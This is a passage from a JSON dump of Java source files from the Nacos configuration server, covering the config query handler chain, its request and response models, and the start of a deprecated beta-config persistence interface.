    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.api.config.remote.request.ConfigQueryRequest;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.utils.RequestUtil;\nimport jakarta.servlet.http.HttpServletRequest;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.VIPSERVER_TAG;\n\n/**\n * DefaultChainRequestExtractor.\n *\n * @author Nacos\n */\npublic class DefaultChainRequestExtractor implements ConfigQueryChainRequestExtractor {\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n    \n    @Override\n    public ConfigQueryChainRequest extract(HttpServletRequest request) {\n        final String dataId = request.getParameter(\"dataId\");\n        final String group = request.getParameter(\"group\");\n        String tenant = request.getParameter(\"namespaceId\") != null ? request.getParameter(\"namespaceId\") : request.getParameter(\"tenant\");\n        if (StringUtils.isBlank(tenant)) {\n            tenant = StringUtils.EMPTY;\n        }\n        String tag = request.getParameter(\"tag\");\n        String autoTag = request.getHeader(VIPSERVER_TAG);\n        String clientIp = RequestUtil.getRemoteIp(request);\n        \n        Map<String, String> appLabels = new HashMap<>(4);\n        appLabels.put(BetaGrayRule.CLIENT_IP_LABEL, clientIp);\n        if (StringUtils.isNotBlank(tag)) {\n            appLabels.put(TagGrayRule.VIP_SERVER_TAG_LABEL, tag);\n        } else if (StringUtils.isNotBlank(autoTag)) {\n            appLabels.put(TagGrayRule.VIP_SERVER_TAG_LABEL, autoTag);\n        }\n        \n        ConfigQueryChainRequest chainRequest = new ConfigQueryChainRequest();\n        chainRequest.setDataId(dataId);\n        chainRequest.setGroup(group);\n        chainRequest.setTenant(tenant);\n        chainRequest.setTag(tag);\n        chainRequest.setAppLabels(appLabels);\n        \n        return chainRequest;\n    }\n    \n    @Override\n    public ConfigQueryChainRequest extract(ConfigQueryRequest request, RequestMeta requestMeta) {\n        ConfigQueryChainRequest chainRequest = new ConfigQueryChainRequest();\n        \n        String tag = request.getTag();\n        Map<String, String> appLabels = new HashMap<>(4);\n        appLabels.put(BetaGrayRule.CLIENT_IP_LABEL, requestMeta.getClientIp());\n        if (StringUtils.isNotBlank(tag)) {\n            appLabels.put(TagGrayRule.VIP_SERVER_TAG_LABEL, tag);\n        } else {\n            appLabels.putAll(requestMeta.getAppLabels());\n        }\n        \n        chainRequest.setDataId(request.getDataId());\n        chainRequest.setGroup(request.getGroup());\n        chainRequest.setTenant(request.getTenant());\n        chainRequest.setTag(request.getTag());\n        chainRequest.setAppLabels(appLabels);\n        \n        return chainRequest;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/DefaultConfigQueryHandlerChainBuilder.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query;\n\nimport com.alibaba.nacos.config.server.service.query.handler.ConfigChainEntryHandler;\nimport com.alibaba.nacos.config.server.service.query.handler.ConfigContentTypeHandler;\nimport com.alibaba.nacos.config.server.service.query.handler.FormalHandler;\nimport com.alibaba.nacos.config.server.service.query.handler.GrayRuleMatchHandler;\nimport com.alibaba.nacos.config.server.service.query.handler.SpecialTagNotFoundHandler;\n\n/**\n * DefaultConfigQueryHandlerChainBuilder.\n *\n * @author Nacos\n */\npublic class DefaultConfigQueryHandlerChainBuilder implements ConfigQueryHandlerChainBuilder {\n    \n    @Override\n    public ConfigQueryHandlerChain build() {\n        ConfigQueryHandlerChain chain = new ConfigQueryHandlerChain();\n        chain.addHandler(new ConfigChainEntryHandler())\n                .addHandler(new ConfigContentTypeHandler())\n                .addHandler(new GrayRuleMatchHandler())\n                .addHandler(new SpecialTagNotFoundHandler())\n                .addHandler(new FormalHandler());\n        return chain;\n    }\n    \n    @Override\n    public String getName() {\n        return \"nacos\";\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/enums/ResponseCode.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.enums;\n\n/**\n * ResponseCode.\n *\n * @author Nacos\n */\npublic enum ResponseCode {\n    /**\n     * Request success.\n     */\n    SUCCESS(200, \"Response ok\"),\n    \n    /**\n     * Request failed.\n     */\n    FAIL(500, \"Response fail\");\n    \n    int code;\n    \n    String desc;\n    \n    ResponseCode(int code, String desc) {\n        this.code = code;\n        this.desc = desc;\n    }\n    \n    /**\n     * Getter method for property <tt>code</tt>.\n     *\n     * @return property value of code\n     */\n    public int getCode() {\n        return code;\n    }\n    \n    /**\n     * Getter method for property <tt>desc</tt>.\n     *\n     * @return property value of desc\n     */\n    public String getDesc() {\n        return desc;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/AbstractConfigQueryHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\n/**\n * AbstractConfigQueryHandler. This abstract class provides a base implementation for configuration query handlers. It\n * implements the {@link ConfigQueryHandler} interface and handles the chaining of handlers.\n *\n * @author Nacos\n */\npublic abstract class AbstractConfigQueryHandler implements ConfigQueryHandler {\n    \n    public ConfigQueryHandler nextHandler;\n    \n    @Override\n    public ConfigQueryHandler getNextHandler() {\n        return this.nextHandler;\n    }\n    \n    @Override\n    public void setNextHandler(ConfigQueryHandler nextHandler) {\n        this.nextHandler = nextHandler;\n    }\n    \n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/ConfigChainEntryHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.service.ConfigCacheService;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport java.io.IOException;\n\n/**\n * ConfigChainEntryHandler.\n * The entry point handler for the responsibility chain, responsible for initializing the chain and handling configuration query requests.\n *\n * @author Nacos\n */\npublic class ConfigChainEntryHandler extends AbstractConfigQueryHandler {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigChainEntryHandler.class);\n    \n    private static final String CHAIN_ENTRY_HANDLER = \"chainEntryHandler\";\n    \n    private static final ThreadLocal<CacheItem> CACHE_ITEM_THREAD_LOCAL = new ThreadLocal<>();\n    \n    @Override\n    public String getName() {\n        return CHAIN_ENTRY_HANDLER;\n    }\n    \n    @Override\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n    \n        request.setTenant(NamespaceUtil.processNamespaceParameter(request.getTenant()));\n        String groupKey = GroupKey2.getKey(request.getDataId(), request.getGroup(), request.getTenant());\n        int lockResult = ConfigCacheService.tryConfigReadLock(groupKey);\n        CacheItem cacheItem = ConfigCacheService.getContentCache(groupKey);\n        \n        if (lockResult > 0 && cacheItem != null) {\n            try {\n                CACHE_ITEM_THREAD_LOCAL.set(cacheItem);\n                if (nextHandler != null) {\n                    return nextHandler.handle(request);\n                } else {\n                    LOGGER.warn(\"chainEntryHandler's next handler is null\");\n                    return new ConfigQueryChainResponse();\n                }\n            } finally {\n                CACHE_ITEM_THREAD_LOCAL.remove();\n                ConfigCacheService.releaseReadLock(groupKey);\n            }\n        } else if (lockResult == 0 || cacheItem == null) {\n            ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n            response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n            return response;\n        } else {\n            ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n            response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_QUERY_CONFLICT);\n            return response;\n        }\n    }\n    \n    public static CacheItem getThreadLocalCacheItem() {\n        return CACHE_ITEM_THREAD_LOCAL.get();\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/ConfigContentTypeHandler.java",
    "content": "/*\n * Copyright 1999-2024 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.enums.FileTypeEnum;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.io.IOException;\n\n/**\n * The type Config content type handler.\n * @author Sunrisea\n */\npublic class ConfigContentTypeHandler extends AbstractConfigQueryHandler {\n    \n    private static final String CONFIG_CONTENT_TYPE_HANDLER_NAME = \"ConfigContentTypeHandler\";\n    \n    @Override\n    public String getName() {\n        return CONFIG_CONTENT_TYPE_HANDLER_NAME;\n    }\n    \n    @Override\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n        ConfigQueryChainResponse response = getNextHandler().handle(request);\n        if (response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND\n                || response.getStatus() == ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND) {\n            return response;\n        }\n        String contentType =\n                response.getContentType() != null ? response.getContentType() : FileTypeEnum.TEXT.getFileType();\n        FileTypeEnum fileTypeEnum = FileTypeEnum.getFileTypeEnumByFileExtensionOrFileType(contentType);\n        String contentTypeHeader = fileTypeEnum.getContentType();\n        response.setContentType(contentTypeHeader);\n        return response;\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/ConfigQueryHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.io.IOException;\n\n/**\n * Configuration Query Handler Interface.\n * This interface defines the standard methods for handling configuration query requests.\n *\n * @author Nacos\n */\npublic interface ConfigQueryHandler {\n    \n    /**\n     * Gets the name of the handler.\n     * @return The name of the handler.\n     */\n    String getName();\n    \n    /**\n     * Handles the configuration query request.\n     * If the current handler cannot process the request, it should throw an IOException.\n     * @param request The configuration query request.\n     * @return The response to the configuration query.\n     * @throws IOException If an I/O error occurs.\n     */\n    ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException;\n    \n    /**\n     * Sets the next handler in the chain.\n     * @param nextHandler The next handler to which the request can be passed if the current handler cannot process it.\n     */\n    void setNextHandler(ConfigQueryHandler nextHandler);\n    \n    /**\n     * Gets the next handler in the chain.\n     * @return The next handler.\n     */\n    ConfigQueryHandler getNextHandler();\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/FormalHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.io.IOException;\n\n/**\n * Formal Handler. This class represents a formal handler in the configuration query processing chain. If the request\n * has not been processed by previous handlers, it will be handled by this handler.\n *\n * @author Nacos\n */\npublic class FormalHandler extends AbstractConfigQueryHandler {\n    \n    private static final String FORMAL_HANDLER = \"formalHandler\";\n    \n    @Override\n    public String getName() {\n        return FORMAL_HANDLER;\n    }\n    \n    @Override\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        \n        String dataId = request.getDataId();\n        String group = request.getGroup();\n        String tenant = request.getTenant();\n        \n        CacheItem cacheItem = ConfigChainEntryHandler.getThreadLocalCacheItem();\n        String md5 = cacheItem.getConfigCache().getMd5();\n        String content = ConfigDiskServiceFactory.getInstance().getContent(dataId, group, tenant);\n        if (StringUtils.isBlank(content)) {\n            response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_NOT_FOUND);\n            return response;\n        }\n        long lastModified = cacheItem.getConfigCache().getLastModifiedTs();\n        String encryptedDataKey = cacheItem.getConfigCache().getEncryptedDataKey();\n        String configType = cacheItem.getType();\n        response.setContent(content);\n        response.setMd5(md5);\n        response.setLastModified(lastModified);\n        response.setEncryptedDataKey(encryptedDataKey);\n        response.setConfigType(configType);\n        response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_FORMAL);\n        \n        return response;\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/GrayRuleMatchHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.config.server.model.CacheItem;\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.service.dump.disk.ConfigDiskServiceFactory;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.io.IOException;\n\n/**\n * GrayRuleMatchHandler. This class represents a gray rule handler in the configuration query processing chain. It\n * checks if the request matches any gray rules and processes the request accordingly.\n *\n * @author Nacos\n */\npublic class GrayRuleMatchHandler extends AbstractConfigQueryHandler {\n    \n    private static final String GRAY_RULE_MATCH_HANDLER = \"grayRuleMatchHandler\";\n    \n    @Override\n    public String getName() {\n        return GRAY_RULE_MATCH_HANDLER;\n    }\n    \n    @Override\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n        // Check if the request matches any gray rules\n        CacheItem cacheItem = ConfigChainEntryHandler.getThreadLocalCacheItem();\n        ConfigCacheGray matchedGray = null;\n        if (cacheItem.getSortConfigGrays() != null && !cacheItem.getSortConfigGrays().isEmpty()) {\n            for (ConfigCacheGray configCacheGray : cacheItem.getSortConfigGrays()) {\n                if (configCacheGray.match(request.getAppLabels())) {\n                    matchedGray = configCacheGray;\n                    break;\n                }\n            }\n        }\n        \n        if (matchedGray != null) {\n            ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n            \n            long lastModified = matchedGray.getLastModifiedTs();\n            String md5 = matchedGray.getMd5();\n            String encryptedDataKey = matchedGray.getEncryptedDataKey();\n            String content = ConfigDiskServiceFactory.getInstance()\n                    .getGrayContent(request.getDataId(), request.getGroup(), request.getTenant(),\n                            matchedGray.getGrayName());\n            \n            response.setContent(content);\n            response.setMd5(md5);\n            response.setLastModified(lastModified);\n            response.setEncryptedDataKey(encryptedDataKey);\n            response.setMatchedGray(matchedGray);\n            response.setConfigType(cacheItem.getType());\n            response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.CONFIG_FOUND_GRAY);\n            \n            return response;\n        } else {\n            return nextHandler.handle(request);\n        }\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/handler/SpecialTagNotFoundHandler.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.handler;\n\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainRequest;\nimport com.alibaba.nacos.config.server.service.query.model.ConfigQueryChainResponse;\n\nimport java.io.IOException;\n\n/**\n * SpecialTagNotFound Handler.\n * This class represents special tag not found handler in the configuration query processing chain.\n *\n * @author Nacos\n */\npublic class SpecialTagNotFoundHandler extends AbstractConfigQueryHandler {\n    \n    private static final String SPECIAL_TAG_NOT_FOUND_HANDLER = \"specialTagNotFoundHandler\";\n    \n    @Override\n    public String getName() {\n        return SPECIAL_TAG_NOT_FOUND_HANDLER;\n    }\n    \n    @Override\n    public ConfigQueryChainResponse handle(ConfigQueryChainRequest request) throws IOException {\n        if (StringUtils.isNotBlank(request.getTag())) {\n            ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n            response.setStatus(ConfigQueryChainResponse.ConfigQueryStatus.SPECIAL_TAG_CONFIG_NOT_FOUND);\n            return response;\n        } else {\n            return nextHandler.handle(request);\n        }\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/model/ConfigQueryChainRequest.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.model;\n\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * ConfigQueryChainRequest.\n *\n * @author Nacos\n */\npublic class ConfigQueryChainRequest {\n\n    private String dataId;\n    \n    private String group;\n    \n    private String tenant;\n    \n    private String tag;\n    \n    private Map<String, String> appLabels;\n    \n    public String getDataId() {\n        return dataId;\n    }\n    \n    public void setDataId(String dataId) {\n        this.dataId = dataId;\n    }\n    \n    public String getGroup() {\n        return group;\n    }\n    \n    public void setGroup(String group) {\n        this.group = group;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public String getTag() {\n        return tag;\n    }\n    \n    public void setTag(String tag) {\n        this.tag = tag;\n    }\n    \n    public Map<String, String> getAppLabels() {\n        return appLabels;\n    }\n    \n    public void setAppLabels(Map<String, String> appLabels) {\n        this.appLabels = appLabels;\n    }\n    \n    /**\n     * buildConfigQueryChainRequest.\n     *\n     * @param dataId    dataId\n     * @param groupName groupName\n     * @param namespaceId namespaceId\n     * @return ConfigQueryChainRequest\n     */\n    public static ConfigQueryChainRequest buildConfigQueryChainRequest(String dataId, String groupName, String namespaceId) {\n        ConfigQueryChainRequest request = new ConfigQueryChainRequest();\n        request.setDataId(dataId);\n        request.setGroup(groupName);\n        request.setTenant(namespaceId);\n        return request;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigQueryChainRequest that = (ConfigQueryChainRequest) o;\n        return Objects.equals(dataId, that.dataId)\n                && Objects.equals(group, that.group)\n                && Objects.equals(tenant, that.tenant)\n                && Objects.equals(tag, that.tag)\n                && Objects.equals(appLabels, that.appLabels);\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(dataId, group, tenant, tag, appLabels);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/query/model/ConfigQueryChainResponse.java",
    "content": "/*\n * Copyright 1999-$toady.year Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.query.model;\n\nimport com.alibaba.nacos.config.server.model.ConfigCacheGray;\nimport com.alibaba.nacos.config.server.service.query.enums.ResponseCode;\n\nimport java.util.Objects;\n\n/**\n * ConfigQueryChainResponse.\n *\n * @author Nacos\n */\npublic class ConfigQueryChainResponse {\n    \n    private String content;\n    \n    private String contentType;\n    \n    private String configType;\n    \n    private String encryptedDataKey;\n    \n    private String md5;\n    \n    private long lastModified;\n    \n    private ConfigCacheGray matchedGray;\n    \n    private int resultCode;\n    \n    private String message;\n    \n    private ConfigQueryStatus status;\n    \n    public enum ConfigQueryStatus {\n        /**\n         * Indicates that the configuration was found and is formal.\n         */\n        CONFIG_FOUND_FORMAL,\n        \n        /**\n         * Indicates that the configuration was found and is gray.\n         */\n        CONFIG_FOUND_GRAY,\n        \n        /**\n         * Indicates that the configuration special tag was not found.\n         */\n        SPECIAL_TAG_CONFIG_NOT_FOUND,\n        \n        /**\n         * Indicates that the configuration was not found.\n         */\n        CONFIG_NOT_FOUND,\n        \n        /**\n         * Indicates a conflict in the configuration query.\n         */\n        CONFIG_QUERY_CONFLICT,\n    }\n    \n    public String getContent() {\n        return content;\n    }\n    \n    public void setContent(String content) {\n        this.content = content;\n    }\n    \n    public String getContentType() {\n        return contentType;\n    }\n    \n    public void setContentType(String contentType) {\n        this.contentType = contentType;\n    }\n    \n    public String getConfigType() {\n        return configType;\n    }\n    \n    public void setConfigType(String configType) {\n        this.configType = configType;\n    }\n    \n    public String getEncryptedDataKey() {\n        return encryptedDataKey;\n    }\n    \n    public void setEncryptedDataKey(String encryptedDataKey) {\n        this.encryptedDataKey = encryptedDataKey;\n    }\n    \n    public String getMd5() {\n        return md5;\n    }\n    \n    public void setMd5(String md5) {\n        this.md5 = md5;\n    }\n    \n    public long getLastModified() {\n        return lastModified;\n    }\n    \n    public void setLastModified(long lastModified) {\n        this.lastModified = lastModified;\n    }\n    \n    public ConfigCacheGray getMatchedGray() {\n        return matchedGray;\n    }\n    \n    public void setMatchedGray(ConfigCacheGray matchedGray) {\n        this.matchedGray = matchedGray;\n    }\n    \n    public int getResultCode() {\n        return resultCode;\n    }\n    \n    public void setResultCode(int resultCode) {\n        this.resultCode = resultCode;\n    }\n    \n    public String getMessage() {\n        return message;\n    }\n    \n    public void setMessage(String message) {\n        this.message = message;\n    }\n    \n    public ConfigQueryStatus getStatus() {\n        return status;\n    }\n    \n    public void setStatus(ConfigQueryStatus status) {\n        this.status = status;\n    }\n    \n    /**\n     * Build fail response.\n     *\n     * @param errorCode errorCode.\n     * @param message   message.\n     * @return response.\n     */\n    public static ConfigQueryChainResponse buildFailResponse(int errorCode, String message) {\n        ConfigQueryChainResponse response = new ConfigQueryChainResponse();\n        response.setErrorInfo(errorCode, message);\n        return response;\n    }\n    \n    public void setErrorInfo(int errorCode, String errorMsg) {\n        this.resultCode = ResponseCode.FAIL.getCode();\n        this.message = errorMsg;\n    }\n    \n    @Override\n    public boolean equals(Object o) {\n        if (this == o) {\n            return true;\n        }\n        if (o == null || getClass() != o.getClass()) {\n            return false;\n        }\n        ConfigQueryChainResponse that = (ConfigQueryChainResponse) o;\n        return lastModified == that.lastModified\n                && Objects.equals(content, that.content)\n                && Objects.equals(contentType, that.contentType)\n                && Objects.equals(encryptedDataKey, that.encryptedDataKey)\n                && Objects.equals(md5, that.md5)\n                && Objects.equals(matchedGray, that.matchedGray)\n                && Objects.equals(resultCode, that.resultCode)\n                && Objects.equals(message, that.message)\n                && status == that.status;\n    }\n    \n    @Override\n    public int hashCode() {\n        return Objects.hash(content, contentType, encryptedDataKey, md5, lastModified, matchedGray, resultCode, message, status);\n    }\n}"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/repository/ConfigInfoBetaPersistService.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service.repository;\n\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo4Beta;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.persistence.repository.PaginationHelper;\n\n/**\n * Database service, providing access to config_info_beta in the database.\n * Deprecated since 2.5.0，only support on compatibility,replaced with ConfigInfoGray model, will be  soon removed on further version.\n * @author lixiaoshuang\n */\n@Deprecated\npublic interface ConfigInfoBetaPersistService {\n    \n    /**\n     * create Pagination utils.\n     *\n     * @param <E> Generic object\n     * @return {@link PaginationHelper}\n     */\n    <E> PaginationHelper<E> 